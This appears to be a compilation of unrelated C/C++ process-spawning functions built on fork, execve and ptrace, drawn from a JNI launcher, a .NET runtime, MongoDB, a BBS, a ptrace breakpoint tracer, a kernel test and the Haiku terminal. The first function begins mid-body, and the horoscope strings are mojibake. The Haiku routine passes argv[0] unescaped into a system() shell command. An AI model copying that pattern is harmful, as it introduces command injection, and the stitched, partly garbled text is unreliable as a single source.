env->GetObjectArrayElement((jobjectArray)((jobject)envp), (jsize) i); strChain = env->GetStringUTFChars((jstring) jo, 0); strCmd = (char *)malloc(1+strlen(strChain)); // + NUL symbol *strCmd = '\0'; strcat(strCmd, strChain); strEnvpBeginAA[i] = strCmd; env->ReleaseStringUTFChars((jstring) jo, strChain); } } strEnvpBeginAA[lenEnvp] = (char *) 0; // NULL pointer //define stdI/O/E for future process: int fildesO[2] = {-1,-1}; int fildesE[2] = {-1,-1}; int fildesI[2] = {-1,-1}; // Controlling pipe. // Child process if successfully executed will close the handle (by system) // If execv failed the write(..) call will write 4 bytes in this stream. // Thus we can distinguish executed proccesses and failed ones. int fildesInfo[2] = {-1,-1}; if (pipe(fildesO) == -1 || pipe(fildesI) == -1 || pipe(fildesE) == -1 || pipe(fildesInfo) == -1) { if (fildesO[0] != -1) close(fildesO[0]); if (fildesO[1] != -1) close(fildesO[1]); if (fildesE[0] != -1) close(fildesE[0]); if (fildesE[1] != -1) close(fildesE[1]); if (fildesI[0] != -1) close(fildesI[0]); if (fildesI[1] != -1) close(fildesI[1]); if (fildesInfo[0] != -1) close(fildesInfo[0]); if (fildesInfo[1] != -1) close(fildesInfo[1]); Error("Stdin/stdout pipes creation failed:", env, la); Error(strerror(errno), env, la); return; } int spid = fork(); if (spid == -1) { close(fildesI[0]); close(fildesI[1]); close(fildesO[0]); close(fildesO[1]); close(fildesE[0]); close(fildesE[1]); close(fildesInfo[0]); close(fildesInfo[1]); Error("Fork failed\n", env, la); } if (spid==0) { ///// Child process code /////////////// dup2(fildesI[0], 0); dup2(fildesO[1], 1); dup2(fildesE[1], 2); close(fildesI[0]); close(fildesI[1]); close(fildesO[0]); close(fildesO[1]); close(fildesE[0]); close(fildesE[1]); close(fildesInfo[0]); long close_on_exec = FD_CLOEXEC; // set close on exec bit fcntl(fildesInfo[1], F_SETFD, close_on_exec); // Get the working directory of the subprocess: if ( cmdDir != NULL ) { int res = chdir(cmdDir); if (res == -1) { write(fildesInfo[1], &errno, sizeof(int)); INFO("chdir failed: " << strerror(errno)); kill(getpid(), 9); } free(cmdDir); } char *newArgv[lenargv+2]; if (lenEnvp == 0) { execvp(argv[0], argv); if (errno == ENOEXEC) { // give another try for (i=0; i<lenargv; i++) { strCmd = (char *)malloc(1+strlen(argv[i])); // + NUL symbol *strCmd = '\0'; strcat(strCmd, argv[i]); newArgv[i+1] = strCmd; } newArgv[0] = strdup("/bin/sh"); newArgv[lenargv+1] = (char *)0; execvp(newArgv[0], newArgv); } } else { execve(argv[0], argv, strEnvpBeginAA); if (errno == ENOEXEC) { // give another try for (i=0; i<lenargv; i++) { strCmd = (char *)malloc(1+strlen(argv[i])); // + NUL symbol *strCmd = '\0'; strcat(strCmd, argv[i]); newArgv[i+1] = strCmd; } newArgv[0] = strdup("/bin/sh"); newArgv[lenargv+1] = (char *)0; execve(newArgv[0], newArgv, strEnvpBeginAA); } if(strchr(argv[0], '/') == NULL) { char* curDir = NULL; char* cmdPath = NULL; char* dirs = NULL; if ((dirs = getenv("PATH")) != NULL) { int len = 0; curDir = strtok(dirs, ":"); while(curDir != NULL) { if((len = strlen(curDir)) != 0) { cmdPath = (char *)malloc(len+1+strlen(argv[0])+1); *cmdPath = '\0'; strcat(strcat(strcat(cmdPath, curDir), "/"), argv[0]); if (fopen(cmdPath, "r") != NULL) { execve(cmdPath, argv, strEnvpBeginAA); //XXX: should we inform only of a last error among all possible execve atempts? } free(cmdPath); } curDir = strtok(NULL, ":"); } } } } write(fildesInfo[1], &errno, sizeof(int)); INFO("Process initiation failed: " << strerror(errno)); for (i=0; i<lenargv+1; i++) { if (newArgv[i] != NULL) { free(newArgv[i]); } } // kill self kill(getpid(), 9); } ///// End of child process code //////////// close(fildesO[1]); close(fildesI[0]); close(fildesE[1]); close(fildesInfo[1]); for (i=0; i<lenargv; i++) { if (argv[i] != NULL) { free(argv[i]); } } for (i=0; i<lenEnvp; i++) { if (strEnvpBeginAA[i] != NULL) { free(strEnvpBeginAA[i]); } } // get execution status from child int errno_child; int res = read(fildesInfo[0], &errno_child, sizeof(int)); if (res == 4) { Error("Process initiation failed", env, la); Error(strerror(errno_child), env, la); close(fildesO[0]); close(fildesI[1]); close(fildesE[0]); close(fildesInfo[0]); return; } jboolean jb = true; jlong *lp = (jlong*)env->GetLongArrayElements(la, &jb); lp[0] = (jlong) spid; // new process number lp[1] = (jlong) fildesI[1]; lp[2] = (jlong) fildesO[0]; lp[3] = (jlong) fildesE[0]; fcntl(fildesO[0], F_SETFL, 0); //XXX:to set !O_NONBLOCK because it is sometimes set by default and it should be investigated fcntl(fildesE[0], F_SETFL, 0); //XXX:to set !O_NONBLOCK because it is sometimes set by default and it should be investigated env->ReleaseLongArrayElements(la, lp, 0); close(fildesInfo[0]); }
int32_t ForkAndExecProcess( const char* filename, char* const argv[], char* const envp[], const char* cwd, int32_t redirectStdin, int32_t redirectStdout, int32_t redirectStderr, int32_t* childPid, int32_t* stdinFd, int32_t* stdoutFd, int32_t* stderrFd) { int success = true; int stdinFds[2] = { -1, -1 }, stdoutFds[2] = { -1, -1 }, stderrFds[2] = { -1, -1 }; int processId = -1; // Validate arguments if (nullptr == filename || nullptr == argv || nullptr == envp || nullptr == stdinFd || nullptr == stdoutFd || nullptr == stderrFd || nullptr == childPid) { assert(!"null argument."); errno = EINVAL; success = false; goto done; } if ((redirectStdin & ~1) != 0 || (redirectStdout & ~1) != 0 || (redirectStderr & ~1) != 0) { assert(!"Boolean redirect* inputs must be 0 or 1."); errno = EINVAL; success = false; goto done; } // Open pipes for any requests to redirect stdin/stdout/stderr if ((redirectStdin && pipe(stdinFds) != 0) || (redirectStdout && pipe(stdoutFds) != 0) || (redirectStderr && pipe(stderrFds) != 0)) { assert(!"pipe() failed."); success = false; goto done; } // Fork the child process if ((processId = fork()) == -1) { assert(!"fork() failed."); success = false; goto done; } if (processId == 0) // processId == 0 if this is child process { // Close the child's copy of the parent end of any open pipes CloseIfOpen(stdinFds[WRITE_END_OF_PIPE]); CloseIfOpen(stdoutFds[READ_END_OF_PIPE]); CloseIfOpen(stderrFds[READ_END_OF_PIPE]); // For any redirections that should happen, dup the pipe descriptors onto stdin/out/err. // Then close out the old pipe descriptrs, which we no longer need. if ((redirectStdin && dup2(stdinFds[READ_END_OF_PIPE], STDIN_FILENO) == -1) || (redirectStdout && dup2(stdoutFds[WRITE_END_OF_PIPE], STDOUT_FILENO) == -1) || (redirectStderr && dup2(stderrFds[WRITE_END_OF_PIPE], STDERR_FILENO) == -1)) { _exit(errno != 0 ? errno : EXIT_FAILURE); } CloseIfOpen(stdinFds[READ_END_OF_PIPE]); CloseIfOpen(stdoutFds[WRITE_END_OF_PIPE]); CloseIfOpen(stderrFds[WRITE_END_OF_PIPE]); // Change to the designated working directory, if one was specified if (nullptr != cwd && chdir(cwd) == -1) { _exit(errno != 0 ? errno : EXIT_FAILURE); } // Finally, execute the new process. execve will not return if it's successful. execve(filename, (char**)argv, (char**)envp); _exit(errno != 0 ? errno : EXIT_FAILURE); // execve failed } // This is the parent process. processId == pid of the child *childPid = processId; *stdinFd = stdinFds[WRITE_END_OF_PIPE]; *stdoutFd = stdoutFds[READ_END_OF_PIPE]; *stderrFd = stderrFds[READ_END_OF_PIPE]; done: // Regardless of success or failure, close the parent's copy of the child's end of // any opened pipes. The parent doesn't need them anymore. CloseIfOpen(stdinFds[READ_END_OF_PIPE]); CloseIfOpen(stdoutFds[WRITE_END_OF_PIPE]); CloseIfOpen(stderrFds[WRITE_END_OF_PIPE]); // If we failed, close everything else and give back error values in all out arguments. if (!success) { CloseIfOpen(stdinFds[WRITE_END_OF_PIPE]); CloseIfOpen(stdoutFds[READ_END_OF_PIPE]); CloseIfOpen(stderrFds[READ_END_OF_PIPE]); *stdinFd = -1; *stdoutFd = -1; *stderrFd = -1; *childPid = -1; } return success ? 0 : -1; }
void ProgramRunner::launchProcess(int child_stdout) { std::vector<std::string> envStrings; for (const auto& envKeyValue : _envp) { envStrings.emplace_back(envKeyValue.first + '=' + envKeyValue.second); } #ifdef _WIN32 stringstream ss; for (unsigned i = 0; i < _argv.size(); i++) { if (i) ss << ' '; if (_argv[i].find(' ') == string::npos) ss << _argv[i]; else { ss << '"'; // escape all embedded quotes for (size_t j = 0; j < _argv[i].size(); ++j) { if (_argv[i][j] == '"') ss << '\\'; ss << _argv[i][j]; } ss << '"'; } } std::wstring args = toNativeString(ss.str().c_str()); // Construct the environment block which the new process will use. // An environment block is a NULL terminated array of NULL terminated WCHAR strings. The // strings are of the form "name=value\0". Because the strings are variable length, we must // precompute the size of the array before we may allocate it. size_t environmentBlockSize = 0; std::vector<std::wstring> nativeEnvStrings; // Compute the size of the environment block, in characters. Note that we have to count // wchar_t characters, which we'll actually be storing in the block later, rather than UTF8 // characters we have in _envp and need to convert. for (const std::string& envKeyValue : envStrings) { std::wstring nativeKeyValue = toNativeString(envKeyValue.c_str()); environmentBlockSize += (nativeKeyValue.size() + 1); nativeEnvStrings.emplace_back(std::move(nativeKeyValue)); } // Reserve space for the final NULL character which terminates the environment block environmentBlockSize += 1; auto lpEnvironment = stdx::make_unique<wchar_t[]>(environmentBlockSize); size_t environmentOffset = 0; for (const std::wstring& envKeyValue : nativeEnvStrings) { // Ensure there is enough room to write the string, the string's NULL byte, and the block's // NULL byte invariant(environmentOffset + envKeyValue.size() + 1 + 1 <= environmentBlockSize); wcscpy_s( lpEnvironment.get() + environmentOffset, envKeyValue.size() + 1, envKeyValue.c_str()); environmentOffset += envKeyValue.size(); std::memset(lpEnvironment.get() + environmentOffset, 0, sizeof(wchar_t)); environmentOffset += 1; } std::memset(lpEnvironment.get() + environmentOffset, 0, sizeof(wchar_t)); HANDLE h = reinterpret_cast<HANDLE>(_get_osfhandle(child_stdout)); invariant(h != INVALID_HANDLE_VALUE); invariant(SetHandleInformation(h, HANDLE_FLAG_INHERIT, 1)); STARTUPINFO si; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.hStdError = h; si.hStdOutput = h; si.dwFlags |= STARTF_USESTDHANDLES; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); DWORD dwCreationFlags = 0; dwCreationFlags |= CREATE_UNICODE_ENVIRONMENT; bool success = CreateProcessW(nullptr, const_cast<LPWSTR>(args.c_str()), nullptr, nullptr, true, dwCreationFlags, lpEnvironment.get(), nullptr, &si, &pi) != 0; if (!success) { const auto ewd = errnoWithDescription(); ss << "couldn't start process " << _argv[0] << "; " << ewd; uasserted(14042, ss.str()); } CloseHandle(pi.hThread); invariant(SetHandleInformation(h, HANDLE_FLAG_INHERIT, 0)); _pid = ProcessId::fromNative(pi.dwProcessId); registry.insertHandleForPid(_pid, pi.hProcess); #else std::string execErrMsg = str::stream() << "Unable to start program " << _argv[0]; auto constCharStorageMaker = [](const std::vector<std::string>& in) { std::vector<const char*> out; std::transform(in.begin(), in.end(), std::back_inserter(out), [](const std::string& x) { return x.c_str(); }); out.push_back(nullptr); return out; }; std::vector<const char*> argvStorage = constCharStorageMaker(_argv); std::vector<const char*> envpStorage = constCharStorageMaker(envStrings); pid_t nativePid = fork(); _pid = ProcessId::fromNative(nativePid); // Async signal unsafe functions should not be called in the child process. if (nativePid == -1) { // Fork failed so it is time for the process to exit const auto ewd = errnoWithDescription(); cout << "ProgramRunner is unable to fork child process: " << ewd << endl; fassertFailed(34363); } if (nativePid == 0) { // DON'T ASSERT IN THIS BLOCK - very bad things will happen // // Also, deliberately call _exit instead of quickExit. We intended to // fork() and exec() here, so we never want to run any form of cleanup. // This includes things that quickExit calls, such as atexit leak // checks. if (dup2(child_stdout, STDOUT_FILENO) == -1 || dup2(child_stdout, STDERR_FILENO) == -1) { // Async signal unsafe code reporting a terminal error condition. perror("Unable to dup2 child output: "); _exit(-1); // do not pass go, do not call atexit handlers } execve(argvStorage[0], const_cast<char**>(argvStorage.data()), const_cast<char**>(envpStorage.data())); // Async signal unsafe code reporting a terminal error condition. perror(execErrMsg.c_str()); _exit(-1); } #endif }
int do_exec(char* com, char* wd) { char path[MAXPATHLEN]; char pcom[MAXCOMSZ]; char *arglist[MAXARGS]; char *tz; register int i, len; register int argptr; int status, pid, w; int pmode; void (*isig) (), (*qsig) (); strncpy(path, BINDIR, MAXPATHLEN); strncpy(pcom, com, MAXCOMSZ); len = Min(strlen(com) + 1, MAXCOMSZ); pmode = LOOKFIRST; for (i = 0, argptr = 0; i < len; i++) { if (pcom[i] == '\0') break; if (pmode == QUOTEMODE) { if (pcom[i] == '\001') { pmode = LOOKFIRST; pcom[i] = '\0'; continue; } continue; } if (pcom[i] == '\001') { pmode = QUOTEMODE; arglist[argptr++] = &pcom[i + 1]; if (argptr + 1 == MAXARGS) break; continue; } if (pmode == LOOKFIRST) if (pcom[i] != ' ') { arglist[argptr++] = &pcom[i]; if (argptr + 1 == MAXARGS) break; pmode = LOOKLAST; } else continue; if (pcom[i] == ' ') { pmode = LOOKFIRST; pcom[i] = '\0'; } } arglist[argptr] = NULL; if (argptr == 0) return -1; if (*arglist[0] == '/') strncpy(path, arglist[0], MAXPATHLEN); else strncat(path, arglist[0], MAXPATHLEN); reset_tty(); alarm(0); #ifdef IRIX if ((pid = fork()) == 0) { #else if ((pid = vfork()) == 0) { #endif #ifdef BBSD waitpid(pid, &status, 0); #endif if (wd) if (chdir(wd)) { sprintf(genbuf, "Unable to chdir to '%s'\n", wd); report(genbuf); exit(-1); } bbssetenv("PATH", "/bin:."); bbssetenv("TERM", currentuser.termtype); bbssetenv("USER", currentuser.userid); bbssetenv("USERNAME", currentuser.username); if ((tz = getenv("TZ")) != NULL) bbssetenv("TZ", tz); if (numbbsenvs == 0) bbsenv[0] = NULL; //dup2(0,1); //dup2(0,2); execve(path, arglist, bbsenv); sprintf(genbuf, "EXECV FAILED... path = '%s'\n", path); report(genbuf); exit(-1); } isig = signal(SIGINT, SIG_IGN); qsig = signal(SIGQUIT, SIG_IGN); #ifndef BBSD while ((w = wait(&status)) != pid && w != 1) /* NULL STATEMENT */ ; #endif signal(SIGINT, isig); signal(SIGQUIT, qsig); restore_tty(); #ifdef DOTIMEOUT alarm(IDLE_TIMEOUT); #endif return ((w == -1) ? w : status); } char* horoscope(int month, int day) { char *name[12] = { "ĦôÉ", "ˮƿ", "Ë«Óã", "ĵÑò", "½ðÅ£", "Ë«×Ó", "¾Þз", "ʨ×Ó", "´¦Å®", "Ìì³Ó", "ÌìЫ", "ÉäÊÖ" }; switch (month) { case 1: if (day < 21) return (name[0]); else return (name[1]); case 2: if (day < 19) return (name[1]); else return (name[2]); case 3: if (day < 21) return (name[2]); else return (name[3]); case 4: if (day < 21) return (name[3]); else return (name[4]); case 5: if (day < 21) return (name[4]); else return (name[5]); case 6: if (day < 22) return (name[5]); else return (name[6]); case 7: if (day < 23) return (name[6]); else return (name[7]); case 8: if (day < 23) return (name[7]); else return (name[8]); case 9: if (day < 23) return (name[8]); else return (name[9]); case 10: if (day < 24) return (name[9]); else return (name[10]); case 11: if (day < 23) return (name[10]); else return (name[11]); case 12: if (day < 22) return (name[11]); else return (name[0]); } return ("²»Ïê"); }
int main(int argc, char **argv, char **envp) { int fd, c, mode = 0; handle_t h; struct stat st; long trap, orig; int status, pid; char * args[2]; if (argc < 3) { printf("Usage: %s [-ep <exe>/<pid>] [-f <fname>]\n", argv[0]); exit(0); } memset(&h, 0, sizeof(handle_t)); while ((c = getopt(argc, argv, "p:e:f:")) != -1) { switch(c) { case 'p': pid = atoi(optarg); h.exec = get_exe_name(pid); if (h.exec == NULL) { printf("Unable to retrieve executable " "path for pid: %d\n", pid); exit(-1); } mode = PID_MODE; break; case 'e': if ((h.exec = strdup(optarg)) == NULL) { perror("strdup"); exit(-1); } mode = EXE_MODE; break; case 'f': if ((h.symname = strdup(optarg)) == NULL) { perror("strdup"); exit(-1); } break; default: printf("Unknown option\n"); break; } } if (h.symname == NULL) { printf("Specifying a function name with -f option is required\n"); exit(-1); } if (mode == EXE_MODE) { args[0] = h.exec; args[1] = NULL; } signal(SIGINT, sighandler); if ((fd = open(h.exec, O_RDONLY)) < 0) { perror("open"); exit(-1); } if (fstat(fd, &st) < 0) { perror("fstat"); exit(-1); } h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if (h.mem == MAP_FAILED) { perror("mmap"); exit(-1); } h.ehdr = (Elf64_Ehdr *)h.mem; h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr->e_phoff); h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr->e_shoff); if (h.mem[0] != 0x7f && !strcmp((char *)&h.mem[1], "ELF")) { printf("%s is not an ELF file\n",h.exec); exit(-1); } if (h.ehdr->e_type != ET_EXEC) { printf("%s is not an ELF executable\n", h.exec); exit(-1); } if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == 0 || h.ehdr->e_shnum == 0) { printf("Section header table not found\n"); exit(-1); } if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) { printf("Unable to find symbol: %s not found" " in executable\n", h.symname); exit(-1); } close(fd); if (mode == EXE_MODE) { if ((pid = fork()) < 0) { perror("fork"); exit(-1); } if (pid == 0) { if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) { perror("PTRACE_TRACEME"); exit(-1); } execve(h.exec, args, envp); exit(0); } } else { if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) { perror("PTRACE_ATTACH"); exit(-1); } } wait(&status); global_pid = pid; printf("Beginning analysis of pid: %d at %lx\n", pid, h.symaddr); if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) { perror("PTRACE_PEEKTEXT"); exit(-1); } trap = (orig & ~0xff) | 0xcc; if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) { perror("PTRACE_POKETEXT"); exit(-1); } trace: if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) { perror("PTRACE_CONT"); exit(-1); } wait(&status); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) { perror("PTRACE_GETREGS"); exit(-1); } printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n", h.exec, pid, h.symaddr); printf("%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n" "%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n" "%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n" "%%r11: %llx\n%%r12 %llx\n%%r13 %llx\n" "%%r14: %llx\n%%r15: %llx\n%%rsp: %llx", h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx, h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi, h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.r10, h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.r13, h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp); printf("\nPlease hit any key to continue: "); getchar(); if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) { perror("PTRACE_POKETEXT"); exit(-1); } h.pt_reg.rip = h.pt_reg.rip - 1; if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) { perror("PTRACE_SETREGS"); exit(-1); } if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) { perror("PTRACE_SINGLESTEP"); exit(-1); } wait(NULL); if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) { perror("PTRACE_POKETEXT"); exit(-1); } goto trace; } if (WIFEXITED(status)) printf("Completed tracing pid: %d\n", pid); exit(0); }
int main(int ac, char **av) { int lc; /* loop counter */ char *msg; /* message returned from parse_opts */ int retval = 0, status; pid_t pid, pid2; if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL) tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); setup(av[0]); TEST_EXP_ENOS(exp_enos); for (lc = 0; TEST_LOOPING(lc); lc++) { Tst_count = 0; if ((pid = FORK_OR_VFORK()) == -1) tst_brkm(TBROK|TERRNO, cleanup, "fork #1 failed"); if (pid == 0) { char *av[1]; av[0] = basename(test_app); (void)execve(test_app, av, NULL); perror("execve failed"); exit(1); } if ((pid2 = FORK_OR_VFORK()) == -1) tst_brkm(TBROK, cleanup, "fork #2 failed"); if (pid2 == 0) { sleep(10); TEST(creat(test_app, O_WRONLY)); if (TEST_RETURN != -1) { retval = 1; printf("creat didn't fail as expected\n"); } else if (TEST_ERRNO == ETXTBSY) printf("received ETXTBSY\n"); else { retval = 1; perror("creat failed unexpectedly"); } if (kill(pid, SIGKILL) == -1) { retval = 1; perror("kill failed"); } exit(retval); } if (wait(&status) == -1) tst_brkm(TBROK|TERRNO, cleanup, "wait failed"); if (WIFEXITED(status) || WEXITSTATUS(status) == 0) tst_resm(TPASS, "creat functionality correct"); else tst_resm(TFAIL, "creat functionality incorrect"); } cleanup(); tst_exit(); }
status_t Shell::_Spawn(int row, int col, const ShellParameters& parameters) { const char** argv = (const char**)parameters.Arguments(); int argc = parameters.ArgumentCount(); const char* defaultArgs[3] = {kDefaultShell, "-l", NULL}; struct passwd passwdStruct; struct passwd *passwdResult; char stringBuffer[256]; if (argv == NULL || argc == 0) { if (!getpwuid_r(getuid(), &passwdStruct, stringBuffer, sizeof(stringBuffer), &passwdResult)) { defaultArgs[0] = passwdStruct.pw_shell; } argv = defaultArgs; argc = 2; fShellInfo.SetDefaultShell(true); } else fShellInfo.SetDefaultShell(false); signal(SIGTTOU, SIG_IGN); // get a pseudo-tty int master = posix_openpt(O_RDWR | O_NOCTTY); const char *ttyName; if (master < 0) { fprintf(stderr, "Didn't find any available pseudo ttys."); return errno; } if (grantpt(master) != 0 || unlockpt(master) != 0 || (ttyName = ptsname(master)) == NULL) { close(master); fprintf(stderr, "Failed to init pseudo tty."); return errno; } /* * Get the modes of the current terminal. We will duplicates these * on the pseudo terminal. */ thread_id terminalThread = find_thread(NULL); /* Fork a child process. */ fShellInfo.SetProcessID(fork()); if (fShellInfo.ProcessID() < 0) { close(master); return B_ERROR; } handshake_t handshake; if (fShellInfo.ProcessID() == 0) { // Now in child process. // close the PTY master side close(master); /* * Make our controlling tty the pseudo tty. This hapens because * we cleared our original controlling terminal above. */ /* Set process session leader */ if (setsid() < 0) { handshake.status = PTY_NG; snprintf(handshake.msg, sizeof(handshake.msg), "could not set session leader."); send_handshake_message(terminalThread, handshake); exit(1); } /* open slave pty */ int slave = -1; if ((slave = open(ttyName, O_RDWR)) < 0) { handshake.status = PTY_NG; snprintf(handshake.msg, sizeof(handshake.msg), "can't open tty (%s).", ttyName); send_handshake_message(terminalThread, handshake); exit(1); } /* set signal default */ signal(SIGCHLD, SIG_DFL); signal(SIGHUP, SIG_DFL); signal(SIGQUIT, SIG_DFL); signal(SIGTERM, SIG_DFL); signal(SIGINT, SIG_DFL); signal(SIGTTOU, SIG_DFL); struct termios tio; /* get tty termios (not necessary). * TODO: so why are we doing it ? */ tcgetattr(slave, &tio); initialize_termios(tio); /* * change control tty. */ dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); /* close old slave fd. */ if (slave > 2) close(slave); /* * set terminal interface. */ if (tcsetattr(0, TCSANOW, &tio) == -1) { handshake.status = PTY_NG; snprintf(handshake.msg, sizeof(handshake.msg), "failed set terminal interface (TERMIOS)."); send_handshake_message(terminalThread, handshake); exit(1); } /* * set window size. */ handshake.status = PTY_WS; send_handshake_message(terminalThread, handshake); receive_handshake_message(handshake); if (handshake.status != PTY_WS) { handshake.status = PTY_NG; snprintf(handshake.msg, sizeof(handshake.msg), "mismatch handshake."); send_handshake_message(terminalThread, handshake); exit(1); } struct winsize ws = { handshake.row, handshake.col }; ioctl(0, TIOCSWINSZ, &ws); tcsetpgrp(0, getpgrp()); // set this process group ID as the controlling terminal set_thread_priority(find_thread(NULL), B_NORMAL_PRIORITY); /* pty open and set termios successful. */ handshake.status = PTY_OK; send_handshake_message(terminalThread, handshake); /* * setenv TERM and TTY. */ setenv("TERM", "xterm-color", true); setenv("TTY", ttyName, true); setenv("TTYPE", parameters.Encoding(), true); // set the current working directory, if one is given if (parameters.CurrentDirectory().Length() > 0) chdir(parameters.CurrentDirectory().String()); execve(argv[0], (char * const *)argv, environ); // Exec failed. // TODO: This doesn't belong here. sleep(1); BString alertCommand = "alert --stop '"; alertCommand += B_TRANSLATE("Cannot execute \"%command\":\n\t%error"); alertCommand += "' '"; alertCommand += B_TRANSLATE("Use default shell"); alertCommand += "' '"; alertCommand += B_TRANSLATE("Abort"); alertCommand += "'"; alertCommand.ReplaceFirst("%command", argv[0]); alertCommand.ReplaceFirst("%error", strerror(errno)); int returnValue = system(alertCommand.String()); if (returnValue == 0) { execl(kDefaultShell, kDefaultShell, "-l", NULL); } exit(1); } /* * In parent Process, Set up the input and output file pointers so * that they can write and read the pseudo terminal. */ /* * close parent control tty. */ int done = 0; while (!done) { receive_handshake_message(handshake); switch (handshake.status) { case PTY_OK: done = 1; break; case PTY_NG: fprintf(stderr, "%s\n", handshake.msg); done = -1; break; case PTY_WS: handshake.row = row; handshake.col = col; handshake.status = PTY_WS; send_handshake_message(fShellInfo.ProcessID(), handshake); break; } } if (done <= 0) return B_ERROR; fFd = master; return B_OK; }